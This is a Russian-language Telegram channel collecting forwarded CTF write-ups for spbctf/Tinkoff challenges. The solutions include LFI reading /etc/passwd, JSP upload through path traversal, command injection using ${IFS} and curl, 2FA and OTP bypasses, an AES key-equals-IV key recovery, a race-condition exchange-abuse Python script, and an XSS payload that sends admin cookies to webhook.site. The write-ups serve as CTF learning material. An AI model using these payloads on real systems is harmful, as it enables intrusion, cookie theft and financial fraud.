Forwarded from Дядя Кит
Иван Васильевич
Тут вообще ничего сложного нет. Читаем на вики про CVE, читаем на вики про JPG, открываем любым бинарным редактором и стираем из середины метку конца 0xFFD9
Потом читаем еще раз спеку и расшишериваем пикчу редактированием метки 0xFFC0 (на пикче line NB и samples/line)
Вниз можно расшишеривать пока совесть позволяет, а вот в сторону придется подобрать (читаем про бинарный поиск или тупо брутфорсим скриптом).
Кода не будет, я его успешно потер, но там где-то около 350-400 семплов.
Внимание, подвох: в браузере, телеге, виндовых фотографиях и иже с ними вы ничо не увидите. Лично я открывал в JB Rider
Тут вообще ничего сложного нет. Читаем на вики про CVE, читаем на вики про JPG, открываем любым бинарным редактором и стираем из середины метку конца 0xFFD9
Потом читаем еще раз спеку и расшишериваем пикчу редактированием метки 0xFFC0 (на пикче line NB и samples/line)
Вниз можно расшишеривать пока совесть позволяет, а вот в сторону придется подобрать (читаем про бинарный поиск или тупо брутфорсим скриптом).
Кода не будет, я его успешно потер, но там где-то около 350-400 семплов.
Внимание, подвох: в браузере, телеге, виндовых фотографиях и иже с ними вы ничо не увидите. Лично я открывал в JB Rider
Forwarded from Дядя Кит
Бредущий по лезвию
Тут тоже все максимально просто.
Заходим, видим 403, выходим.
Открываем консоль, пишем
Видим чета на 9090. Открываем свой богатый жизненный опыт, широкий кругозор и вспоминаем, что на 9090 порту обычно обитает прометеус. Идем на адрес
Идем по этому домену, дописываем в конец /storage и смотрим на флаг
Тут тоже все максимально просто.
Заходим, видим 403, выходим.
Открываем консоль, пишем
nmap -p0- %url%Видим чета на 9090. Открываем свой богатый жизненный опыт, широкий кругозор и вспоминаем, что на 9090 порту обычно обитает прометеус. Идем на адрес
.spbctf.ru:9090/metrics и наблюдаем там статистику от its-private-domain-for-secure-android-storage.Идем по этому домену, дописываем в конец /storage и смотрим на флаг
Forwarded from Дaнияp
galya.py
5.7 KB
Великая отмена
введем в коде две рандомные почты
запускаем код в несколько процессов, сначала ~5-10 canceler'ов, после один sender
скрипт автоматически создаст аккаунты и начнет отменять одну и ту же транзакцию, в следствие чего, в первом аккаунте будут фармятся шиитакоины
далее вручную покупаем чайный гриб и получаем нужный флаг (данные от аккаунта будут лежать в папке accounts около скрипта)
введем в коде две рандомные почты
запускаем код в несколько процессов, сначала ~5-10 canceler'ов, после один sender
скрипт автоматически создаст аккаунты и начнет отменять одну и ту же транзакцию, в следствие чего, в первом аккаунте будут фармятся шиитакоины
далее вручную покупаем чайный гриб и получаем нужный флаг (данные от аккаунта будут лежать в папке accounts около скрипта)
Forwarded from Дaнияp
вот еще райтапчик на великую отмену :)
Forwarded from Дядя Кит
Тайна четвертой планеты
Достаем бочку охлаждающей жидкости для меня.
Идем на сайт, шаримся по залитым файлам. Недоумеваем с людей, которые сканируют файловую систему контейнера с питоном в их собственном браузере, а потом кричат в чате про потертые файлы и поломанное задание.
Вправляем челюсть взад и смотрим на адресную строку. Похоже, что тут пахнет LFI. Проверяем.
Делаем ашыпку в запросе и наблюдаем ошибку 500 с кишками наружу.
Делаем запрос
Успешно получаем passwd.
Дальше отправляем через HttpClient файл с названием
Внутрь кладем JSP код с поиском и выводом директорий рута. Узнаем название файла и забираем флаг
Конец собсна, больше мне рассказать нечего.
С вами был @1dndn, яростно довольный своим сорок пятым местом
Достаем бочку охлаждающей жидкости для меня.
Идем на сайт, шаримся по залитым файлам. Недоумеваем с людей, которые сканируют файловую систему контейнера с питоном в их собственном браузере, а потом кричат в чате про потертые файлы и поломанное задание.
Вправляем челюсть взад и смотрим на адресную строку. Похоже, что тут пахнет LFI. Проверяем.
Делаем ашыпку в запросе и наблюдаем ошибку 500 с кишками наружу.
Делаем запрос
https://.spbctf.ru/view.jsp?file=/../../../../../../etc/passwdУспешно получаем passwd.
Дальше отправляем через HttpClient файл с названием
../something.jsp (c# не файловая система, слеши в названии стерпит) и вызываем его.Внутрь кладем JSP код с поиском и выводом директорий рута. Узнаем название файла и забираем флаг
Конец собсна, больше мне рассказать нечего.
С вами был @1dndn, яростно довольный своим сорок пятым местом
👍3
Forwarded from Дядя Кит
Планетарная важность.
Открываем сайт, жмем F12.
Наблюдаем запрос
Делаем такой же, но
Далее вставляем везде вместо пробелов` ${IFS}`, читаем файлы и все такое.
Когда надоест, делаем
Теперь точно все
Открываем сайт, жмем F12.
Наблюдаем запрос
execute?cmd=get-statusДелаем такой же, но
execute?cmd=lsДалее вставляем везде вместо пробелов` ${IFS}`, читаем файлы и все такое.
Когда надоест, делаем
execute?cmd=curl${IFS}-s${IFS}http://management:5000/restart/ и радуемся флагу.Теперь точно все
❤1
Forwarded from Dmitry
Герой Пустошей (Аквачип)
Android .apk
Первая часть:
Скачиваем aquachip.apk и устанавливаем на эмулятор.
При попытке установки скорее всего adb зависнет,
а если перетягивать на эмулятор - молча падает.
Чтобы понять в чём ошибка, нужно закинуть .apk файл на эмулятор:
После этого установить с помощью PM (Packet Manager) внутри Anroid:
Получится ошибка:
Это означает, что не подходит архитектура процессора для нативных библиотек.
Запускаем реверс:
или же просто распаковываем .apk как зип архив.
В файлах видим: lib/
arm64-v8a, armeabi-v7a, x86_64
Из-за этих библиотек и падает (нет варианта для обычного эмулятора).
x86_64 - нужный вид эмулятора.
Устанавливаем такой эмулятор (например, через Android Studio) и запускаем на нём.
Часть вторая:
Настраиваем эмулятор для перехвата траффика
Вот статья: (book.hacktricks.xyz /mobile-pentesting/android-app-pentesting/avd-android-virtual-device)
В приложении включаем все переключатели и пробуем запустить, получаем ошибку
"Secret Module not enabled".
В Burp видно, что каждый модуль при включении посылает запрос с id= [номер модуля]
В repeater посылаем такой же запрос, но со следующим номером по порядку после всех модулей.
После этого Аквачип работает.
Android .apk
Первая часть:
Скачиваем aquachip.apk и устанавливаем на эмулятор.
При попытке установки скорее всего adb зависнет,
а если перетягивать на эмулятор - молча падает.
Чтобы понять в чём ошибка, нужно закинуть .apk файл на эмулятор:
adb push aqua.apk /sdcard/DownloadПосле этого установить с помощью PM (Packet Manager) внутри Anroid:
adb shellcd /sdcard/Downloadpm install aqua.apkПолучится ошибка:
Failure [INSTALL_FAILED_NO_MATCHING_ABIS: Failed to extract native libraries, res=-113]Это означает, что не подходит архитектура процессора для нативных библиотек.
Запускаем реверс:
apktool d -o aqua-backsmali aqua.apkили же просто распаковываем .apk как зип архив.
В файлах видим: lib/
arm64-v8a, armeabi-v7a, x86_64
Из-за этих библиотек и падает (нет варианта для обычного эмулятора).
x86_64 - нужный вид эмулятора.
Устанавливаем такой эмулятор (например, через Android Studio) и запускаем на нём.
Часть вторая:
Настраиваем эмулятор для перехвата траффика
Вот статья: (book.hacktricks.xyz /mobile-pentesting/android-app-pentesting/avd-android-virtual-device)
В приложении включаем все переключатели и пробуем запустить, получаем ошибку
"Secret Module not enabled".
В Burp видно, что каждый модуль при включении посылает запрос с id= [номер модуля]
В repeater посылаем такой же запрос, но со следующим номером по порядку после всех модулей.
После этого Аквачип работает.
👍1
Forwarded from Dmitry
NAMCAP
Gamechanger (Pacman)
android, .apk
Если покопаться в коде,
в классе с запросами в сеть есть debug функция loginAdmin, где прописан пароль админа.
Запускаем приложение, заходим в Settings, там написан логин админа.
На форме входа вводим логин и пароль админа, но у него включена 2FA.
Высылается одноразовый пароль.
Приложение спамит уведомлениями при этом.
При логине нам выдало токен, но все остальные методы не работают, требуют 2FA.
Уязвимость заключается в том, что работает метод просмотра уведомлений с токеном до того как будет пройдена 2FA.
Конструируем в repeater запрос уведомлений с токеном админа и там будет OTP.
Заходим и переключаем в настройках Gamechanger.
Gamechanger (Pacman)
android, .apk
Если покопаться в коде,
в классе с запросами в сеть есть debug функция loginAdmin, где прописан пароль админа.
Запускаем приложение, заходим в Settings, там написан логин админа.
На форме входа вводим логин и пароль админа, но у него включена 2FA.
Высылается одноразовый пароль.
Приложение спамит уведомлениями при этом.
При логине нам выдало токен, но все остальные методы не работают, требуют 2FA.
Уязвимость заключается в том, что работает метод просмотра уведомлений с токеном до того как будет пройдена 2FA.
Конструируем в repeater запрос уведомлений с токеном админа и там будет OTP.
Заходим и переключаем в настройках Gamechanger.
Forwarded from Innokentiy 🍏 🍎 Memskoy
Песчаный холм: когда в AES ключ совпадает с IV, достаточно иметь данные вида X + 0 + X, где X — 16 каких-то байт, 0 — 16 нулевых байт, тогда в результате декодинга спалится ключ
Forwarded from Innokentiy 🍏 🍎 Memskoy
Forwarded from Dimisi
Мегастог: XSS в поле address формы регистрации. Крадем куки админа <noscript>document.location='https://webhook.site/776b5bec-1809-462d-a9fa-280952a93dc6?cookie='+document.cookie;</noscript> и открываем admin-dashboard.
Forwarded from Dimisi
Свой среди чужих
Дан хост с Ubuntu, даны креды от юзера в хомяке которого флаг, но настроена двухфакторка. Лезем в /etc/pam.d, смотрим что файл su изменен недавно, читаем его и обращаем внимание на обязательную либу: pam_tgotp.so. Находим её, читаем строки с помощью strings, в одной из строк токен бота. Дампим бота по токену, получаем код ОТП, авторизуемся.
Дан хост с Ubuntu, даны креды от юзера в хомяке которого флаг, но настроена двухфакторка. Лезем в /etc/pam.d, смотрим что файл su изменен недавно, читаем его и обращаем внимание на обязательную либу: pam_tgotp.so. Находим её, читаем строки с помощью strings, в одной из строк токен бота. Дампим бота по токену, получаем код ОТП, авторизуемся.
Forwarded from Dimisi
Пиццаувелечитель:
Ошибка в бизнеслогике на оркугление при обмене Беконника на Гастрофранк. За одну итерацию выигрываем 2 беконника. А потом ещё в мульипоточность ставим и помоему рэйс кондишен получаем, но это не точно.
Ошибка в бизнеслогике на оркугление при обмене Беконника на Гастрофранк. За одну итерацию выигрываем 2 беконника. А потом ещё в мульипоточность ставим и помоему рэйс кондишен получаем, но это не точно.
import requests as req
from multiprocessing import Process
url = "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/api/exchange"
cookie = {"__cfduid":"d751382105124a1e58fff8cbd6071320", "session": "fd525692-47fa-4fb1-aca2-c6401f7ad51a"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Origin": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru",
"Referer": "https://its-grand-supermarket-f0e1aqq7.spbctf.ru/account",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers"
}
first_data = {"amount": 1,"cur_from":"Гастрофранк", "cur_to": "Беконик",
"submit": "%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}
second_data = {"amount":428, "cur_from":"Беконик", "cur_to":"Гастрофранк",
"submit":"%D0%9E%D0%B1%D0%BC%D0%B5%D0%BD%D1%8F%D1%82%D1%8C"}
def givme_money():
for _ in range(2000):
req.post(url, headers=headers, cookies=cookie, data=first_data)
req.post(url, headers=headers, cookies=cookie, data=second_data)
print("Попытка: ", _)
for _ in range(15):
p = Process(target=givme_money)
p.start()
❤1👍1
Forwarded from Oleg Korobeynikov
привет! По решению задач CTF. Увидел что еще нет решения для задача "Терминатор данных". Я накидал, добавь, пожалуйста, https://skillful-scallion-98f.notion.site/fc7d1dab24fa47cb89bb3d09ae368ac1
skillful-scallion-98f on Notion
Терминатор данных | Notion
После задания понимаем, что там мобильная апка и скорее всего нам потребуется эмулятор и снифер трафика для него.
👍5
Forwarded from Dmitry Karasev
Пиццаувеличитель. Шиитакоин вообще не учавствует. Просто делаем себе сколько-то Бекоников, и видим, что на маленьких переводах курс в Гастрофранки остается одинаковым. Сравниваем
3 Беконика в Шиитакоин = 0.01, за 99 получаем 0.33 Гастрофранка
Обратный курс обмена - 0.33 Гастрофранка = 141.9 Беконика. Есть большая разница.
Решение
Перехватываем запрос на перевод из Беконика в Гастрофранки с помощью любого сниффера (я в Fiddler) и повторяем его пока не закончатся. В UI переводим все Гастрофранки в Беконики и повторяем пока не наберем 20 Гастрофранков=)
PS запросов пришлось отправлять много, сайт вроде не зависает=)
3 Беконика в Шиитакоин = 0.01, за 99 получаем 0.33 Гастрофранка
Обратный курс обмена - 0.33 Гастрофранка = 141.9 Беконика. Есть большая разница.
Решение
Перехватываем запрос на перевод из Беконика в Гастрофранки с помощью любого сниффера (я в Fiddler) и повторяем его пока не закончатся. В UI переводим все Гастрофранки в Беконики и повторяем пока не наберем 20 Гастрофранков=)
PS запросов пришлось отправлять много, сайт вроде не зависает=)
Всем привет 👋
Поскольку скоро Тинькофф отключит свои задания из прошедшего CTF, я решил: раз уж здесь собралось 400+ человек (большое всем спасибо, кстати, вообще не ожидал, что так много народу здесь будет :D ) то могу прорекламировать... свой другой канал!
Этот канал будет классическим сборником вопросов, касающихся Java, но с одной изюминкой... вопросы создаются при помощи GPT-4 (и редактируются, проверяются и публикуются мной).
Ссылка на канал: https://news.1rj.ru/str/quizjava, по всем вопросам, замечаниям и предложениям писать мне в личку: @EvgenyKurmysa :)
Поскольку скоро Тинькофф отключит свои задания из прошедшего CTF, я решил: раз уж здесь собралось 400+ человек (большое всем спасибо, кстати, вообще не ожидал, что так много народу здесь будет :D ) то могу прорекламировать... свой другой канал!
Этот канал будет классическим сборником вопросов, касающихся Java, но с одной изюминкой... вопросы создаются при помощи GPT-4 (и редактируются, проверяются и публикуются мной).
Ссылка на канал: https://news.1rj.ru/str/quizjava, по всем вопросам, замечаниям и предложениям писать мне в личку: @EvgenyKurmysa :)
Telegram
Java Questions
Здесь будут публиковаться различные вопросы, связанные с Java, раз в 2 часа (возможно, в будущем появятся другие языки).
Вопросы создаются с помощью GPT-3.5/4 и публикуются кожаным мешком @EvgenyKurmysa :)
Вопросы создаются с помощью GPT-3.5/4 и публикуются кожаным мешком @EvgenyKurmysa :)
😁7👍5🤓3🤔1🐳1